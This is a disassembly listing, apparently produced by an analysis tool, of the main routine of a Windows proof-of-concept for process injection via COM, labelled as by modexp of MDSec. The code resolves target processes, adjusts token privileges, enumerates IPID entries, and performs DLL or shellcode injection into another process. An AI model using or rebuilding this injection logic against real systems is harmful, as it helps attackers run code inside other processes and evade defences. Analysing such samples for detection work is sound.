Function at 0x140003f60
Capabilities:
Check if file exists
Enumerate processes
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov r13, rdx
mov r12d, ecx
xor eax, eax
mov qword [rsp + 0x30], rax
xor esi, esi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], si
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
lea rcx, [0x14000901c]
call fcn.140001020
lea rcx, str.Process_Injection_via_COM._PoC_by_modexp_MDSec_n
call fcn.140001020
lea rcx, str.Built_on_Sep_24_2023_at_21:35:57_for_64_Bit_n_n
call fcn.140001020
mov r15d, 1
cmp r12d, r15d
jle 0x14000429f
lea r14, [r13 + 8]
mov ecx, 0xfffd
mov rbx, qword [r14]
movzx eax, word [rbx]
sub ax, 0x2d
test cx, ax
je 0x1400041ac
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140004050
mov dword [rsp + 0x30], esi
jmp 0x1400040b3
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp - 0x3c]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x40], 0x238
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000409c
lea rdx, [rbp - 0x14]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140004099
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140004075
mov esi, dword [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x30], esi
test esi, esi
jne 0x14000428c
xor esi, esi
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, qword [r14]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstoul]
mov dword [rsp + 0x30], eax
test eax, eax
jne 0x14000428c
movsxd rdx, r15d
mov rdx, qword [r13 + rdx*8]
lea rcx, str.unable_to_resolve_PID_for___lS__n
call fcn.140001020
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140004125
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004120
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045e2
call fcn.140006abc
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
mov qword [rsp + 0x70], 7
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x14000417a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004175
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045e2
call fcn.140006abc
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140006a60
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movzx ecx, word [rbx + 2]
sub ecx, 0x64
je 0x14000424a
sub ecx, 8
je 0x140004243
sub ecx, 1
je 0x14000423c
sub ecx, 6
je 0x1400041df
cmp ecx, 3
jne 0x14000428c
mov byte [rsp + 0x7b], 1
jmp 0x14000428c
lea rdx, [rbx + 4]
mov r8, 0xffffffffffffffff
cmp word [rdx], 0
jne 0x140004220
inc r15d
add r14, 8
mov rdx, qword [r14]
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004200
lea rcx, [rsp + 0x58]
call fcn.140005b30
mov byte [rsp + 0x78], 1
jmp 0x14000428c
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004220
lea rcx, [rsp + 0x58]
call fcn.140005b30
mov byte [rsp + 0x78], 1
jmp 0x14000428c
mov byte [rsp + 0x7c], 1
jmp 0x14000428c
mov byte [rsp + 0x7a], 1
jmp 0x14000428c
lea rdx, [rbx + 4]
mov r8, 0xffffffffffffffff
cmp word [rdx], 0
jne 0x140004272
inc r15d
add r14, 8
mov rdx, qword [r14]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004265
jmp 0x14000427d
inc r8
cmp word [rdx + r8*2], 0
jne 0x140004272
lea rcx, [rsp + 0x58]
call fcn.140005b30
mov byte [rsp + 0x79], 1
inc r15d
add r14, 8
cmp r15d, r12d
jge 0x14000429f
xor esi, esi
jmp 0x14000401e
cmp byte [rsp + 0x79], 0
jne 0x1400042b8
cmp byte [rsp + 0x78], 0
jne 0x1400042b8
cmp byte [rsp + 0x7a], 0
je 0x1400045e9
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rsp + 0x30]
call fcn.140001300
movzx ebx, al
lea rcx, [0x14000901c]
call fcn.140001020
mov edx, dword [rbp - 0x70]
lea rcx, str.CProcessSecret::s_guidOle32Secret_:__08lX_n
call fcn.140001020
mov edx, dword [rbp - 0x6c]
lea rcx, str.g_pMTAEmptyCtx____________________:__08lX_n
call fcn.140001020
mov edx, dword [rbp - 0x68]
lea rcx, str.CIPIDTable::_palloc_______________:__08lX_n
call fcn.140001020
mov edx, dword [rbp - 0x64]
lea rcx, str.offsetof_tagOXIDEntry__OXID_______:__08lX_n
call fcn.140001020
lea rsi, [0x140008828]
lea rdi, str.FAILED
mov rdx, rdi
test bl, bl
cmovne rdx, rsi
lea rcx, str.Initialisation____________________:__s_n_n
call fcn.140001020
test bl, bl
jne 0x140004393
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140004380
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000437b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045e2
call fcn.140006abc
xor r14d, r14d
mov qword [rsp + 0x68], r14
mov word [rsp + 0x58], r14w
jmp 0x14000412f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r14d, r14d
test eax, eax
je 0x1400043f5
mov dword [rbp - 0x58], 1
mov qword [rbp - 0x54], 0x14
mov dword [rbp - 0x4c], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x58]
xor edx, edx
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rsp + 0x7a], 0
je 0x14000449d
lea rcx, str.Listing_IPID_entries._n
call fcn.140001020
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140004439
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot___failed_:__ld_n
call fcn.140001020
jmp 0x140004544
mov dword [rbp - 0x40], 0x238
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000448f
cmp dword [rbp - 0x38], 4
jbe 0x14000447e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [rbp - 0x38]
cmp ecx, eax
je 0x14000447e
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140004470
cmp eax, ecx
jne 0x14000447e
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x30]
call fcn.140002400
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004451
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004544
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400044ef
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
lea rax, [0x140009348]
lea r8, str.shellcode
cmp byte [rsp + 0x79], 0
cmovne r8, rax
lea rcx, str.__lS__for__lS_injection_cannot_be_found..._n
call fcn.140001020
jmp 0x140004544
cmp byte [rsp + 0x79], 0
je 0x140004509
lea rcx, [rsp + 0x30]
call fcn.1400038e0
lea rcx, str.DLL_injection_:__s_n
jmp 0x140004536
cmp byte [rsp + 0x78], 0
je 0x140004544
cmp dword [rsp + 0x30], 0
jne 0x140004525
lea rcx, str.COM_injection_with_shellcode_requires_a_process_ID._n
call fcn.140001020
jmp 0x140004544
lea rcx, [rsp + 0x30]
call fcn.140003b90
lea rcx, str.Shellcode_injection_:__s_n
test al, al
cmovne rdi, rsi
mov rdx, rdi
call fcn.140001020
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140004589
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004584
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045e2
call fcn.140006abc
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r14w
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x14000417a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004175
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004175
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140003ef0
int3